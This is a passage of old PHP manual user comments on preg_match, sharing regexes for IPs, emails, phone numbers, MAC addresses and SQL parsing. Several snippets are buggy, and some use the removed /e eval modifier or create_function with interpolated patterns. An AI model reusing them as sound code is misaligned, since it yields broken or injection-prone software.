  $pattern = '/'. $a_sEnd .'/';
  $result = preg_replace($pattern, '', $result);

  return $result;
}
Chris Shucksmith <chris at shucksmith dot com>
05-Mar-2006 02:05
I created the following snippit to parse fixed width tabular data to an array of arrays. I use this to create a HTML table showing the output from a linux shell command. It requires an array of column widths used to build a regular expression. This is passed to preg_match_all in multiline mode over the entire command line output. $matches is examined and the table built.

This example formats a table of SIP Peers connected to an Asterisk VOIP Server. The command output looks like:

| # asterisk -rqx 'sip show peers'
| Name/username              Host            Dyn Nat ACL Port      Status
| 308/308                    (Unspecified)    D          0      UNKNOWN
| 303/303                    45.230.86.123    D  N      5060    OK (84 ms)
| 302/302                    192.168.14.71    D          5060    OK (80 ms)
| 6 sip peers [3 online , 3 offline]

Code:
<table>
<tr><th></th> <th>Extension</th> <th>Host</th> <th>Dynamic</th> <th>NAT</th><th>ACL</th> <th>Port</th> <th>Status</th> </tr>
<?php
   $dfout = exec("sudo asterisk -rqx 'sip show peers'", $pss);
   $psline = implode("\\n", $pss); // merge command output with linebreaks

   $table = array(27,16,4,4,4,9,-1);  // table column widths (-1 = all remaining)
   unset($pattern);
   foreach($table as $t) {
       $pattern = ($t == -1) ? $pattern.'(.{0,})' : $pattern.'(.{'.$t.'})';
   }
   $pattern = '/^'.$pattern.'$/m';    // anchor pattern on lines, multiline mode

   if (preg_match_all($pattern, $psline, $matches,PREG_SET_ORDER)) {
       unset($matches[0]);    // remove first row (column headings)
       // print_r($matches);  // handy to visualise the data structure

       foreach ($matches as $m) {
               echo '<tr><td>';
               if (strpos($m[7],'OK')      !== false) echo '<img src="/img/dg.png">';
               if (strpos($m[7],'LAGGED')  !== false) echo '<img src="/img/dy.png">';
               if (strpos($m[7],'UNKNOWN') !== false) echo '<img src="/img/dr.png">';
               echo '</td><td>'.$m[1].'</td><td>'.$m[2].'</td><td>'.$m[3].'</td><td>';
               echo $m[4].'</td><td>'.$m[5].'</td><td>'.$m[6].'</td><td>'.$m[7];
               echo '</td><tr>';
       }
  } else {
       echo '<img src="/img/dr.png"> Connection to server returned no data.';
  }
?>
</table>
jpittman2 at gmail dot com
23-Feb-2006 01:08
Here's an extremely complicated regular expression to match the various parts of an Oracle 8i SELECT statement.  Obviously the SELECT statment is contrived, but hopefully this RegExp will work on just about any valid SELECT statement.  If there are any problems, feel free to comment.

<?
$sql = "SELECT /*+ ORDERED */ UNIQUE foo, bar, baz FROM fly, flam"
     . " WHERE bee=1 AND fly=3"
     . " START WITH foo=1 CONNECT BY some_condition"
     . " CONNECT BY some_other_condition"
     . " GROUP BY a_bunch_of_fields HAVING having_clause"
     . " CONNECT BY some_other_connect_by_condition"
     . " INTERSECT (SELECT * FROM friday WHERE beep=1)"
     . " ORDER BY one, two, three"
     . " FOR UPDATE bee bop boo";

$re = "/^                                              # Match beginning of string
         SELECT\\s+                                    # SELECT
         (?:(?P<hints>\\/\\*\\+\\s+.+\\s+\\*\\/|--\\+\\s+.+\\s+--)\\s+)? # Hints
         (?:(?P<DUA>DISTINCT|UNIQUE|ALL)\\s+)?        # (self-explanatory)
         (?P<fields>.+?)                              # fields
         \\s+FROM\\s+                                  # FROM
         (?:(?P<tables>.+?)                          # tables
         (?:\\s+WHERE\\s+(?P<where>.+?))?            # WHERE Clauses
         (?:\\s+
           (?:(?:START\\s+WITH\\s(?P<startWith>.+?)\\s+)? # START WITH
             CONNECT\\s+BY\\s+(?P<connectBy>.+?)        # CONNECT BY
           )                                          # Hierarchical Query
           |
           (?:GROUP\\s+BY\\s+(?P<groupBy>.+?)            # Group By
             (?:\\s+HAVING\\s+(?P<having>.+?))?)        # Having
         )*                                        # Hier,Group
         (?:\\s+(?P<UIM>UNION(?:\\s+ALL)?|INTERSECT|MINUS) # UNION,INTSECT,MINUS
             \\s+\\((?P<subquery>.+)\\))?                    # UIM subquery
         (?:\\s+ORDER\\s+BY\\s+(?P<orderBy>.+?))?      # Order by
         (?:\\s+FOR\\s+UPDATE\\s*(?P<forUpdate>.+?)?)? # For Update
         )                                          # tables
       $                                            # Match end of string
       /xi";

$matches = array();
preg_match($re, $sql, $matches);
var_dump($matches);
?>
volkank at developera dot com
17-Feb-2006 03:12
Correct IP matching Pattern:

Max's IP match pattern fail on this IP '009.111.111.1',
Chortos-2's pattern  fail on both '09.111.111.1' and '009.111.111.1'

Most of other patterns written also fail if you use them in preg_match_all, they return incorrect IP
ie.
  $num="([0-9]|[0-9]{2}|1\d\d|2[0-4]\d|25[0-5])";
  $test="127.0.0.112 10.0.0.2";
  preg_match_all("/$num\\.$num\\.$num\\.$num/",$test,$match);
  print_r($match);
will print "127.0.0.1" not "127.0.0.112"; so its wrong.

To make my pattern compatible with preg_match_all IP matching (parsing multiple IPs)
I write my pattern reverse order also.

This is my new IP octet pattern probably perfect:)
$num="(25[0-5]|2[0-4]\d|[01]?\d\d|\d)";

/*
25[0-5]    => 250-255
2[0-4]\d  => 200-249
[01]?\d\d  => 00-99,000-199
\d        => 0-9
*/

<?
$num="(25[0-5]|2[0-4]\d|[01]?\d\d|\d)";
$ip_addr='009.111.111.100';
if (!preg_match("/^$num\\.$num\\.$num\\.$num$/", $ip_addr,$match)) echo "Wrong IP Address\\n";
echo $match[0];

?>

<?
   $num="(25[0-5]|2[0-4]\d|[01]?\d\d|\d)";
   $test="127.0.0.112 10.0.0.2";
   preg_match_all("/$num\\.$num\\.$num\\.$num/",$test,$match);
   print_r($match);

?>
roberta at lexi dot net
14-Feb-2006 02:25
How to verify a Canadian postal code!

if (!preg_match("/^[a-z]\d[a-z] ?\d[a-z]\d$/i" , $postalcode))
{
     echo "Your postal code has an incorrect format."
}
brunosermeus at gmail dot com
08-Feb-2006 04:21
I've created this function to let you see the ease of using regular expressions instead of using some class that are available online, and that are verry slow in proceeding.

This function is an RSS-reader that only need the URL as parameter.

<?php
function RSSreader($url)
{
$rssstring = file_get_contents($url);
preg_match_all("#<title>(.*?)</title>#s",$rssstring,$titel);

preg_match_all("#<item>(.*?)</item>#s",$rssstring,$items);
$n=count($items[0]);

for($i=0;$i<$n;$i++)
   {
   $rsstemp= $items[0][$i];
   preg_match_all("#<title>(.*?)</title>#s",$rsstemp,$titles);
   $title[$i]= $titles[1][0];
   preg_match_all("#<pubDate>(.*?)</pubDate>#s",$rsstemp,$dates);
   $date[$i]= $dates[1][0];
   preg_match_all("#<link>(.*?)</link>#s",$rsstemp,$links);
   $link[$i]= $links[1][0];
   }

echo "<h2>".$titel[1][0]."</h2>";
   for($i=0;$i<$n;$i++)
   {
       $timestamp=strtotime($date[$i]);
       $datum=date('d-m-Y H\hi', $timestamp);
       if(!empty($title[$i])) echo $datum."\t\t\t <a href=".$link[$i]." target=\"_blank\">".$title[$i]."</a><br>";
   }
}

?>
patrick at procurios dot nl
30-Jan-2006 02:17
This is the only function in which the assertion \\G can be used in a regular expression. \\G matches only if the current position in 'subject' is the same as specified by the index 'offset'. It is comparable to the ^ assertion, but whereas ^ matches at position 0, \\G matches at position 'offset'.
bloopy.org
26-Jan-2006 07:18
Intending to use preg_match to check whether an email address is in a valid format? The following page contains some very useful information about possible formats of email addresses, some of which may surprise you: http://en.wikipedia.org/wiki/E-mail_address
Zientar
02-Jan-2006 11:54
With this function you can check your date and time in this format: "YYYY-MM-DD HH:MM:SS"

<?php

function Check_Date_Time($date_time)
{
 if (preg_match("/^([123456789][[:digit:]]{3})-
     (0[1-9]|1[012])-(0[1-9]|[12][[:digit:]]|3[01])
     (0[0-9]|1[0-9]|2[0-3]):([0-5][0-9]):([0-5][0-9])$/",
     $date_time, $part) && checkdate($part[2], $part[3], $part[1]))
   {
     return true;
   }
     else
     {
     return false;
     }
}

$my_date_time = "2006-01-02 16:50:15";

if (Check_Date_Time($my_date_time))
   {
   echo "My date '".$my_date_time."' is correct";
   }
   else
       {
   echo "My date '".$my_date_time."' is incorrect";
       }

?>
john at recaffeinated d0t c0m
28-Dec-2005 12:27
Here's a format for matching US phone numbers in the following formats:

###-###-####
(###) ###-####
##########

It restricts the area codes to >= 200 and exchanges to >= 100, since values below these are invalid.

<?php
$pattern = "/(\([2-9]\d{2}\)\s?|[2-9]\d{2}-|[2-9]\d{2})"
         . "[1-9]\d{2}"
         . "-?\d{4}/";
?>
max99x [at] gmail [dot] com
07-Nov-2005 01:11
Here's an improvement on the URL detecting function written by [rickyale at ig dot com dot br]. It detects SRC, HREF and URL links, in addition to URLs in CSS code, and Javascript imports. It also understands html entities(such as &amp;) inside URLs.

<?php
function get_links($url) {
   if( !($body = @file_get_contents($url)) ) return FALSE;
   //Pattern building across multiple lines to avoid page distortion.
   $pattern  = "/((@import\s+[\"'`]([\w:?=@&\/#._;-]+)[\"'`];)|";
   $pattern .= "(:\s*url\s*\([\s\"'`]*([\w:?=@&\/#._;-]+)";
   $pattern .= "([\s\"'`]*\))|<[^>]*\s+(src|href|url)\=[\s\"'`]*";
   $pattern .= "([\w:?=@&\/#._;-]+)[\s\"'`]*[^>]*>))/i";
   //End pattern building.
   preg_match_all ($pattern, $body, $matches);
   return (is_array($matches)) ? $matches:FALSE;
}
?>

$matches[3] will contain Javascript import links, $matches[5] will contain the CSS links, and $matches[8] will contain the regular URL/SRC/HREF HTML links. To get them all in one neat array, you might use something like this:

<?php
function x_array_merge($arr1,$arr2) {
   for($i=0;$i<count($arr1);$i++) {
       $arr[$i]=($arr1[$i] == '')?$arr2[$i]:$arr1[$i];
   }
   return $arr;
}

$url = 'http://www.google.com';
$m = get_links($url);
$links = x_array_merge($m[3],x_array_merge($m[5],$m[8]));
?>
rebootconcepts.com
05-Nov-2005 11:33
Guarantee (one) trailing slash in $dir:

<?php
$dir = preg_match( '|(.*)/*$|U', $dir, $matches );
$dir = $matches[1] . '/';
?>

For whatever reason,
<?php $dir = preg_replace( '|^([^/]*)/*$|', '$1/', $dir ); ?>
and
<?php $dir = preg_replace( '|/*$|U', '/', $dir ); ?>
don't work (perfectly).  The match, concat combo is the only thing I could get to work if there was a '/' within $dir (like $dir = "foo/bar";
phpnet_spam at erif dot org
27-Oct-2005 01:37
Test for valid US phone number, and get it back formatted at the same time:

  function getUSPhone($var) {
   $US_PHONE_PREG ="/^(?:\+?1[\-\s]?)?(\(\d{3}\)|\d{3})[\-\s\.]?"; //area code
   $US_PHONE_PREG.="(\d{3})[\-\.]?(\d{4})"; // seven digits
   $US_PHONE_PREG.="(?:\s?x|\s|\s?ext(?:\.|\s)?)?(\d*)?$/"; // any extension
   if (!preg_match($US_PHONE_PREG,$var,$match)) {
     return false;
   } else {
     $tmp = "+1 ";
     if (substr($match[1],0,1) == "(") {
       $tmp.=$match[1];
     } else {
       $tmp.="(".$match[1].")";
     }
     $tmp.=" ".$match[2]."-".$match[3];
     if ($match[4] <> '') $tmp.=" x".$match[4];
     return $tmp;
   }
  }

usage:

  $phone = $_REQUEST["phone"];
  if (!($phone = getUSPhone($phone))) {
   //error gracefully :)
  }
1413 at blargh dot com
07-Oct-2005 04:41
For a system I'm writing, I get MAC addresses in a huge number of formats.  I needed something to handle all of the following:

0-1-2-3-4-5
00:a0:e0:15:55:2f
89 78 77 87 88 9a
0098:8832:aa33
bc de f3-00 e0 90
00e090-ee33cc
::5c:12::3c
0123456789ab

and more.  The function I came up with is:

<?php
function ValidateMAC($str)
{
  preg_match("/^([0-9a-fA-F]{0,2})[-: ]?([0-9a-fA-F]{0,2})[-: ]?([0-9a-fA-F]{0,2})[-: ]?([0-9a-fA-F]{0,2})[-: ]?([0-9a-fA-F]{0,2})[-
: ]?([0-9a-fA-F]{0,2})[-: ]?([0-9a-fA-F]{0,2})$/", $str, $arr);
  if(strlen($arr[0]) != strlen($str))
   return FALSE;
  return sprintf("%02X:%02X:%02X:%02X:%02X:%02X", hexdec($arr[1]), hexdec($arr[2]), hexdec($arr[3]), hexdec($arr[4]), hexdec($arr[5]
), hexdec($arr[6]));
}

   $testStrings = array("0-1-2-3-4-5","00:a0:e0:15:55:2f","89 78 77 87 88 9a","0098:8832:aa33","bc de f3-00 e0 90","00e090-ee33cc","
bf:55:6e:7t:55:44", "::5c:12::3c","0123456789ab");
   foreach($testStrings as $str)
     {
       $res = ValidateMAC($str);
       print("$str => $res<br>");
     }

?>

This returns:

0-1-2-3-4-5 => 00:01:02:03:04:05
00:a0:e0:15:55:2f => 00:A0:E0:15:55:2F
89 78 77 87 88 9a => 89:78:77:87:88:9A
0098:8832:aa33 => 00:98:88:32:AA:33
bc de f3-00 e0 90 => BC:DE:F3:00:E0:90
00e090-ee33cc => 00:E0:90:EE:33:CC
bf:55:6e:7t:55:44 =>
::5c:12::3c => 00:00:5C:12:00:3C
0123456789ab => 01:23:45:67:89:AB
tlex at NOSPAM dot psyko dot ro
23-Sep-2005 02:34
To check a Romanian landline phone number, and to return "Bucharest", "Proper" or "Unknown", I've used this function:

<?
function verify_destination($destination) {
   $dst_length=strlen($destination);
   if ($dst_length=="10"){
       if(preg_match("/^021[2-7]{1}[0-9]{6}$/",$destination)) {
           $destination_match="Bucharest";
       } elseif (preg_match("/^02[3-6]{1}[0-9]{1}[1-7]{1}[0-9]{5}$/",$destination)) {
           $destination_match = "Proper";
       } else {
           $destination_match = "Unknown";
       }
   }
   return ($destination_match);
}
?>
paullomax at gmail dot com
07-Sep-2005 01:01
If you want some email validation that doesn't reject valid emails (which the ones above do), try this code (from http://iamcal.com/publish/articles/php/parsing_email)

function is_valid_email_address($email){

       $qtext = '[^\\x0d\\x22\\x5c\\x80-\\xff]';

       $dtext = '[^\\x0d\\x5b-\\x5d\\x80-\\xff]';

       $atom = '[^\\x00-\\x20\\x22\\x28\\x29\\x2c\\x2e\\x3a-\\x3c'.
           '\\x3e\\x40\\x5b-\\x5d\\x7f-\\xff]+';

       $quoted_pair = '\\x5c\\x00-\\x7f';

       $domain_literal = "\\x5b($dtext|$quoted_pair)*\\x5d";

       $quoted_string = "\\x22($qtext|$quoted_pair)*\\x22";

       $domain_ref = $atom;

       $sub_domain = "($domain_ref|$domain_literal)";

       $word = "($atom|$quoted_string)";

       $domain = "$sub_domain(\\x2e$sub_domain)*";

       $local_part = "$word(\\x2e$word)*";

       $addr_spec = "$local_part\\x40$domain";

       return preg_match("!^$addr_spec$!", $email) ? 1 : 0;
   }
webmaster at swirldrop dot com
27-Jul-2005 02:46
To replace any characters in a string that could be 'dangerous' to put in an HTML/XML file with their numeric entities (e.g. &#233 for  [e acute]), you can use the following function:

function htmlnumericentities($str){
  return preg_replace('/[^!-%\x27-;=?-~ ]/e', '"&#".ord("$0").chr(59)', $str);
};//EoFn htmlnumericentities

To change any normal entities (e.g. &euro;) to numerical entities call:
$str = htmlnumericalentities(html_entity_decode($str));
hippiejohn1020 --- attT --- yahoo.com
27-Jul-2005 12:38
Watch out when using c-style comments around a preg_match or preg_* for that matter. In certain situations (like example below) the result will not be as expected. This one is of course easy to catch but worth noting.

/*
   we will comment out this section

   if (preg_match ("/anything.*/", $var)) {
       code here;
   }
*/

This is (I believe) because comments are interpreted first when parsing the code (and they should be). So in the preg_match the asterisk (*) and the ending delimiter (/) are interpreted as the end of the comment and the rest of your (supposedly commented) code is intrepreted as php.
ian at remove-this dot mecnet dot net
13-Jul-2005 10:26
Linux kernel 2.6.11 changed the format of /proc/net/ip_conntrack.  I have updated the regular expression mark@portinc.net created in a comment below so that his function works again.

// Updated this regular expression for kernel 2.6.11 changes to /proc/net/ip_conntrack
$GREP = '!([a-z]+) '    .// [1] protocol
     '\\s*([^ ]+) '        .// [2] protocl in decimal
     '([^ ]+) '            .// [3] time-to-live
     '?([A-Z_]|[^ ]+)?'    .// [4] state
     ' src=(.*?) '        .// [5] source address
     'dst=(.*?) '            .// [6] destination address
     'sport=(\\d{1,5}) '    .// [7] source port
     'dport=(\\d{1,5}) '    .// [8] destination port
     'packets=(.*?) '        .// [9] num of packets so far
     'bytes=(.*?) '        .// [10] num of bytes so far
     'src=(.*?) '            .// [11] reversed source
     'dst=(.*?) '            .// [12] reversed destination
     'sport=(\\d{1,5}) '    .// [13] reversed source port
     'dport=(\\d{1,5}) '    .// [14] reversed destination port
     'packets=(.*?) '        .// [15] reversed num of packets so far
     'bytes=(.*?) '        .// [16] reversed num of bytes so far
     '\\[([^]]+)\\] '        .// [17] status
     'mark=(.*?) '        .// [18] marked?
     'use=([0-9]+)!';        // [19] use
masterkumon at yahoo dot com
07-Jul-2005 08:49
LITTLE NOTE ON PATTERN FOR NOOBIE :
int preg_match ( string pattern, string subject)
"/^[a-z0-9 ]*$/"
/ =begin/end pattern
^=matching from exactly beginning of subject
$=matching from exactly end of subject
[]=match with any character in the "[]" brackets.
[a-z0-9 ]=match with any character between a to z OR 0 to 9 OR "space" (there is space between 9 and ])
*=the number of matching character in the subject can be 0 or more. Actually "[]"brackets only match for 1 character position so if you to
   match 1 or more  use "+"
   match 0 or more use "*"
   match 5 characters use {5}
   match 5 to 6 characters use {5,6}
         on the "*" position in the example.
<?
preg_match ($pattern, $subject);
?>
$pattern="/^[a-z0-9 ]*$/";
   $subject="abcdefgadfafda65" ->TRUE
   $subject="abcdefg ad f afda 65" ->TRUE
$pattern="/[a-z0-9 ]*/";
   $subject="$$abcdefgadfafda65><" ->TRUE
       why? because there's no "^" on the beginning and no "$" on the end of $pattern. So the regex matchs entire $subject and found the correct one on the middle, it is OK because there's no "^" and "$" boundary.
       If you put only one either "^" nor "$" the regex will matchs for head nor tail of $subject only.
LITTLE MORE ADVANCE
checking file name string that must contain 3 characters extension ".xxx" and the file name contains alphabetic character only.
here is the pattern "/^[a-zA-Z0-9]*\.[a-zA-Z0-9]{3}$/"
\.=there is "." character for extension separation. Constant character must be preceeded by an "\".
{3}= 3 characters extension

OTHER SPECIAL CHARACTERS. I haven't examined them.
.=wild card for any character
|=OR
Rasqual
05-Jul-2005 12:03
Do not forget PCRE has many compatible features with Perl.
One that is often neglected is the ability to return the matches as an associative array (Perl's hash).

For example, here's a code snippet that will parse a subset of the XML Schema 'duration' datatype:

<?php
$duration_tag = 'PT2M37.5S';  // 2 minutes and 37.5 seconds

// drop the milliseconds part
preg_match(
  '#^PT(?:(?P<minutes>\d+)M)?(?P<seconds>\d+)(?:\.\d+)?S$#',
  $duration_tag,
  $matches);

print_r($matches);
?>

Here is the corresponding output:
Array
(
   [0] => PT2M37.5S
   [minutes] => 2
   [1] => 2
   [seconds] => 37
   [2] => 37
)
ligjason at netscape dot net
28-Jun-2005 11:02
Regular Expression Library - http://www.regexlib.com/Default.aspx
i at camerongreen dot org
26-Jun-2005 11:01
The isvalidemail function has any number of things wrong with it, for a start there is a missing ) bracket so it won't compile.

Once you fix that, the delimiters used give me an error, so you need to enclose it in forward slashes.  Using word boundaries as delimeters is a bad idea as any string that contained a valid email anywhere in it (along with who knows what else, maybe a CSS attack or SQL injection) would be returned as a valid email.

Moving on it then only accepts emails in uppercase, the author of this expressions email address for instance won't pass his own regular expression.

I don't have time at the moment to look up the appropriate rfc, but until someone puts up a better one here is my email checking function which at least compiles :)

function isValidEmail($email_address) {
   $regex = '/^[A-z0-9][\w.-]*@[A-z0-9][\w\-\.]+\.[A-z0-9]{2,6}$/';

   return (preg_match($regex, $email_address));
}

Note : It doesn't accept emails with percentage signs (easy to change) and it requires the user id, first subdomain and last subdomain to start with a letter or number.

Cameron Green
MKP dev a.t g! mail d0t com (parseme)
24-Jun-2005 06:30
Domain name parsing is tricky with an RE. The simplest, most efficient method, is probably just to split the domain by . and individually verify each part, like so:
<?php
$email_address = 'tom@rocks.my.socks.tld'; // An RE subject

function verify_addr ($address) {
   $return = false;
   if (preg_match ('/^[\w.]+@([\w.]+)\.[a-z]{2,6}$/i', $address, $domain)) {
     $domain = explode ('.', $domain[0]);
     // Split the domain into sections wherein the last element is either 'co', 'org', or the likes, or the primary domain name
     foreach ($domain as $part) { // Iterate through the parts
         if (substr ($part, 0, 1) == '_' || substr ($part, strlen ($part) - 1, 1) == '_')
           $return = false; // The first or last character is _
         else
           $return = true; // The parts are fine. The address seems syntactically valid
     }
   }
   return $return;
}

if (verify_addr ($email_address)) {
   // The address is good, what now?
} else {
   // Address is invalid... Do something.
}
?>

An alternative would be to look for _. and ._ in the domain section, or to just ignore that restriction entirely and use this RE:
/^[\w.]+@(?:[\w.]{2,63}\.)+[a-z]{2,6}$/i
tom at depman dot com
23-Jun-2005 09:14
There have been several examples of abbreviating strings or an ellipse function like some may call it. Of course I couldn't find any until after I wrote this, so thought I'd share with you. Basically what this does is takes a long string (like a TEXT from MySQL) and shortens it to give a quick display of the text. But instead of chopping it in the middle of the word it looks for a period or a space using preg_match and chops there. Hope this helps someone.

<?php
// the maximum length of characters of text to display
$MAX_LEN = 50;
$text_to_display = "Connect to a MySQL database or get
       some other source for a long string you'd like
       to display but don't want to chop the words in half";
/*
   check to see if the text is longer than our wanted length
   and if so find the last word less than the $MAX_LEN
   and display the string up to that last word.
   If youre using PHP version 4.3 or above you may need to
   specify PREG_OFFSET_CAPTURE to get the preg_match to work.
*/
function abreviated_text( $text_to_display, $MAX_LEN=30 ){
   if ( strlen($text_to_display) > $MAX_LEN ){
       preg_match ( "/.* /", substr($text_to_display,0,$MAX_LEN), $found );
       $text_to_display_abr = substr("{$found[0]}",0,-1);
   }
   // if abreviation took place
   if ( $text_to_display_abr )
       // do something special like add a <a href=""> tag
       return $text_to_display_abr."...";
   else
       // simply display the text if it does not exceed the length
       return $text_to_display;
}
// use as
echo abreviated_text($text_to_display,$MAX_LEN);
/*
   prints out:
   Connect to a MySQL database or get some other...
   instead of:
   Connect to a MySQL database or get some other sour...
*/
?>
webmaster at swirldrop dot com
07-Jun-2005 09:05
An imporvement of the regular expression from hackajar <matt> yahoo <trot> com for e-mail addresses is this:

<?php
if(preg_match( '/^[A-Z0-9._-]+@[A-Z0-9][A-Z0-9.-]{0,61}[A-Z0-9]\.[A-Z.]{2,6}$/i' , $data)
) return true;
?>

This stops the domain name starting or ending with a hyphen (or a full stop), and limits the domain to a minimum 2 and a maximum 63 characters. I've also added a full stop in the last character class to allow for 63-character domain names with a country code like .org.uk.

The 63 character limit is just for the bit before the TLD (i.e. only 'php', not '.net'). I think this is right, but I'm not totally sure.
webmaster at m-bread dot com
07-Jun-2005 08:47
If you want to get all the text characters from a string, possibly entered by a user, and filter out all the non alpha-numeric characters (perhaps to make an ID to enter user-submitted details into a database record), then you can use the function below. It returns a string of only the alpha-numeric characters from the input string (all in lower case), with all other chracters removed.

<?php
function removeNonAN($string){
preg_match_all('/(?:([a-z]+)|.)/i', $string, $matches);
return strtolower(implode('', $matches[1]));
};//EoFn removeNonAN
?>

It took me quite a while tocome up with this regular expression. I hope it saves someone else that time.
hackajar <matt> yahoo <trot> com
06-Jun-2005 05:12
In regards to Stony666 email validator:

Per RFC 1035, domain names must be combination of letter, numbers and hyphens.  _ and % are not allowed.  They should be no less the 2 and no greater then 63 characters.  Hypens may not appear at begging or end.

Per RFC 822, email address- when regarding username - % generally not accepted in "new" (ha 1982 'new') format.  _ and - are OK (as well as "." but not in subdomain but rather "real" username)

here's something a little better:

if(preg_match('/^[A-Z0-9._-]+@[A-Z0-9.-]+\.[A-Z]{2,6}$/i', $data)) return true;

Small problem with this thought, I can't wrap my mind around the limit domain name to 2-63 characters, nor how to check for hypens at begging and end.  Maybe someone else can toss in a better revision?
stoney666 at gmail dot com
25-May-2005 05:31
Update to my last entry, i noticed that the email validation function didnt actually work like it was supposed to. Here's the working version.

<?php
function validate_email($email_address) {
   if (preg_match("/^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,6}$/i", $email_address)) {
       return true; }
   else { return false; }
}
?>
Chortos-2
14-May-2005 04:30
max wrote a fix for satch666's function, but it too has a little bug... If you write IP 09.111.111.1, it will return TRUE.

<?
$num="(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])";

/*
\\d => numbers 0-9
[1-9]\\d => numbers 10-99 --> Here was the bug in max's code
1\\d\\d => numbers 100-199
2[0-4]\\d => numbers 200-249
25[0-5] => numbers 250-255
*/

if (!preg_match("/^$num\\.$num\\.$num\\.$num$/", $$ip_addr)) echo "Wrong IP Address\\n";
?>

P.S. Why did you write [0-9] and not \\d?
Gaspard
10-May-2005 05:47
If someone need it.. It validates a birth date in format JJMMAAAA

<?php
if (preg_match("/
     ^(0[1-9]|[1-2]{1}[0-9]{1}|3[0-1]{1})
     (0[1-9]{1}|1[0-2]{1})
     (19[\d]{2}|200[0-5])$/", $date)

   echo "Ok" ;
?>
21-Apr-2005 07:37
If you are using an older version of PHP, you will find that preg_match(",", "foo,bar") works as one might like. However, for newer versions, this needs to be preg_match("/,/", "foobar"). You'll get an odd message about a delimiter if this is the problem.
MikeS
09-Apr-2005 04:34
For anyone that's looking around for info about preg_match crashes on long stings I may have a solution for you.  After wasting 2 hours I finally found out it is a bug w/ PCRE and not a problem w/ my input data or regex.  In my case I was able to turn on UnGreedy (U modifier) and it worked fine!  Before my regex would crash on strings around 1800 chars.  With no modification to the regex aside from the ungreeder modifier I ran it on strings up to 500,000 chars long! (not that it crashed at 500K, i just stopped trying to find a limit after that)

Of course this "fix" depends on the nature of regex and what you're trying to do.

Hope this helps someone!
max at clnet dot cz
07-Apr-2005 10:40
satch666 writed fix for the function valid_ipv4(), but it's not working good. I think that this code is realy functionaly.

<?
$num="([0-9]|[0-9]{2}|1\d\d|2[0-4]\d|25[0-5])";

/*
[0-9] => numbers 0-9
[0-9]{2} => numbers 0-99 --> This is missing in satch666 code. It means, that if you write IP 25.213.110.1 function return FALSE!
1\d\d => numbers 100-199
2[0-4]\d => numbers 200-249
25[0-5] => numbers 250-255
*/

if (!preg_match("/^$num\.$num\.$num\.$num$/", $$ip_addr)) echo "Wrong IP Address\n";
?>
carsten at senseofview dot de
14-Mar-2005 07:57
The ExtractString function does not have a real error, but some disfunction. What if is called like this:

ExtractString($row, 'action="', '"');

It would find 'action="' correctly, but perhaps not the first " after the $start-string. If $row consists of

<form method="post" action="script.php">

strpos($str_lower, $end) would return the first " in the method-attribute. So I made some modifications and it seems to work fine.

function ExtractString($str, $start, $end)
{
   $str_low = strtolower($str);
   $pos_start = strpos($str_low, $start);
   $pos_end = strpos($str_low, $end, ($pos_start + strlen($start)));
   if ( ($pos_start !== false) && ($pos_end !== false) )
   {
       $pos1 = $pos_start + strlen($start);
       $pos2 = $pos_end - $pos1;
       return substr($str, $pos1, $pos2);
   }
}
erm(at)the[dash]erm/dot/com
12-Mar-2005 05:15
This is a modified version of the valid_ipv4 function that will test for a valid ip address with wild cards.

ie 192.168.0.*
or even 192.168.*.1

function valid_ipv4($ip_addr)
{

       $num="(\*|[0-9]{1,3}|^1?\d\d$|2[0-4]\d|25[0-5])";

       if(preg_match("/$num\.$num\.$num\.$num/",$ip_addr,$matches))
       {
           print_r ($matches);
               return $matches[0];
       } else {
               return false;
       }
}
info at reiner-keller dot de
12-Feb-2005 02:03
Pointing to the post of "internet at sourcelibre dot com": Instead of using PerlRegExp for e.g. german "Umlaute" like

<?php

$bolMatch = preg_match("/^[a-zA-Z]+$/", $strData);

?>

use the setlocal command and the POSIX format like

<?php

setlocale (LC_ALL, 'de_DE');
$bolMatch = preg_match("/^[[:alpha:]]+$/", $strData);

?>

This works for any country related special character set.

Remember since the "Umlaute"-Domains have been released it's almost mandatory to change your RegExp to give those a chance to feed your forms which use "Umlaute"-Domains (e-mail and internet address).

Live can be so easy reading the manual ;-)
mikeblake a.t. akunno d.o.t net
25-Jan-2005 11:38
The author of ExtractString below has made an error (email at albert-martin dot com).

if (strpos($str_low, $start) !== false && strpos($str_lower, $end) !== false)

Should have been

if (strpos($str_low, $start) !== false && strpos($str_low, $end) !== false)

Note the slight variable name mistake at the second strpos
kalaxy at nospam dot gmail dot com
19-Jan-2005 11:20
This is another way of implimenting array_preg_match.  It also shows use of the array_walk() and create_function() functions.

<?php
// array_preg_match
//  make sure $subject is an array and it will return an array
//  of all the elements in $subject that preg_match the
//  $pattern.
function array_preg_match($pattern, $subject, $retainkey = false){
  $matches = '';        //make sure it's empty
  array_walk($subject,
   create_function('$val, $key, $array',
                   'if (preg_match("' . $pattern . '", "$val")) $array['. ($retainkey ? '$key':'') .'] = $val;'),
   &$matches);
  return $matches;
}
?>

kalon mills
hfuecks at phppatterns dot com
13-Jan-2005 09:11
Note that the PREG_OFFSET_CAPTURE flag, as far as I've tested, returns the offset in bytes not characters, which may not be what you're expecting if you're using the /u pattern modifier to make the regex UTF-8 aware (i.e. multibyte characters will result in a greater offset than you expect)
29-Dec-2004 04:44
This is a constant that helps in getting a valid phone number that does not need to be in a particular format. The following is a constant that matches the following US Phone formats:

Phone number can be in many variations of the following:
(Xxx) Xxx-Xxxx
(Xxx) Xxx Xxxx
Xxx Xxx Xxxx
Xxx-Xxx-Xxxx
XxxXxxXxxx
Xxx.Xxx.Xxxx

define( "REGEXP_PHONE", "/^(\(|){1}[2-9][0-9]{2}(\)|){1}([\.- ]|)[2-9][0-9]{2}([\.- ]|)[0-9]{4}$/" );
carboffin at msn dot com
23-Dec-2004 11:54
Heres just some quick code intended to be used in validating url vars or input strings.

<?php
if(preg_match("/^[a-z0-9]/i", $file)){
# Include or validate existance, etc.
}
?>
satch666 at dot nospam dot hotmail dot com
18-Dec-2004 12:53
what a lapsus! where i said 'subpattern' at my post below, replace such by 'type of number' or by 'case';
satch666 at dot nospam dot hotmail dot com
18-Dec-2004 12:44
some fix for the function valid_ipv4() proposed by selt:

if trying, for example this wrong IP: 257.255.34.6, it is got as valid IP, getting as result: 57.255.34.6

the first subpattern of numbers defined at pattern matches with '257', because '57' is a valid string for '1?\d\d' pattern;  this happens because it is not added there some logic for the string limits ...;

